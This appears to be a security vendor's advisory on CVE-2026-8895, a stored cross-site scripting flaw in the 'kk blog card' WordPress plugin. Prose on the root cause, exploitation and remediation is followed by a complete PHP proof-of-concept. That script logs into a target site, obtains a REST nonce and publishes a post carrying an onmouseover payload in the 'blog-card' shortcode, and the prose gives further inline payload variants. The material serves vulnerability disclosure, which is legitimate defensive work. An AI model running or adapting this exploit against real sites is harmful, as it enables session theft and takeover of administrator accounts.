Atomic Edge analysis of CVE-2026-8895 (metadata-based): This vulnerability allows authenticated attackers with contributor-level access or higher to inject stored cross-site scripting (XSS) through the ‘blog-card’ shortcode in the kk blog card plugin for WordPress up to version 1.3. The attack targets the shortcode callback registered in kk-blog-card-shortcode.php. The CVSS score is 6.4 (Medium), with a network attack vector, low complexity, required privileges (contributor+), no user interaction, and a changed scope.
The root cause is insufficient input sanitization and output escaping on the ‘href’ and ‘type’ shortcode attributes. The plugin concatenates these attributes directly into HTML attribute contexts without proper escaping. This is inferred from the CWE classification (79) and the description, which explicitly states the vulnerable attributes and the direct concatenation. No code diff is available, but the pattern is consistent with WordPress shortcode vulnerabilities where developers use attributes without calling esc_attr() or wp_kses().
Exploitation is straightforward. An attacker with a contributor account (or higher) creates or edits a WordPress post or page. They insert the [blog-card] shortcode with malicious values in the ‘href’ or ‘type’ attributes. For example, [blog-card href=’http://example.com” onmouseover=”alert(1)”‘] or [blog-card type='”>alert(1)’]. The shortcode callback processes these attributes without sanitization, embedding them into the HTML. When any user (including administrators) views the compromised page, the injected script executes in their browser. The attack targets the WordPress post editor and no AJAX endpoints are needed, as the shortcode is rendered server-side during page load.
Remediation requires the plugin developer to apply proper input sanitization and output escaping to the ‘href’ and ‘type’ attributes before rendering. Specifically, the plugin should use WordPress functions like esc_url() for the ‘href’ attribute and esc_attr() for both attributes when outputting in HTML attribute contexts. Additionally, the plugin should use sanitize_text_field() or similar sanitization functions before storing the shortcode attributes. Since no patched version is available, users must deactivate and remove the plugin immediately.
The impact is limited to authenticated attackers with contributor+ access, but the stored XSS can compromise high-privilege users who view the page. An attacker could steal session cookies, perform actions on behalf of an administrator (e.g., create new admin users), deface the site, or inject malicious redirects. While the CVSS indicates low CIA impact, the scope change means the injected script can affect the broader WordPress application beyond the vulnerable plugin, enabling privilege escalation in practice.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8895 - kk blog card <= 1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'attacker'; // WordPress user with Contributor role or higher
$password = 'password';
// Simplified PoC: Uses WordPress REST API to create a post with malicious shortcode
// Assumes the WP REST API is enabled and the user has 'edit_posts' capability.
// Payload: shortcode with XSS in the 'href' attribute
// The payload closes the href attribute and injects an onmouseover event
$payload = '[blog-card href="http://evil.com/" onmouseover="alert(1)" type="link"]';
// Step 1: Authenticate and get a nonce
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
// Step 2: Get a REST API nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$nonce = trim($response);
if (empty($nonce)) {
die('Failed to retrieve nonce. Ensure the user is logged in and the REST API is accessible.');
}
// Step 3: Create a new post with the malicious shortcode
$post_data = array(
'title' => 'Atomic Edge CVE-2026-8895 Test',
'content' => $payload,
'status' => 'publish',
'meta_input' => array(
'_atomic_edge_test' => 1 // Marker to identify the test post
)
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$result = json_decode($response, true);
if (isset($result['id'])) {
echo '[+] Post created successfully. Visit: ' . $result['link'] . PHP_EOL;
echo '[+] The XSS payload will trigger when a user hovers over the blog-card link.' . PHP_EOL;
} else {
echo '[-] Failed to create post. Response:' . PHP_EOL;
print_r($result);
}
curl_close($ch);
// Clean up cookies
unlink('/tmp/cookies.txt');
?>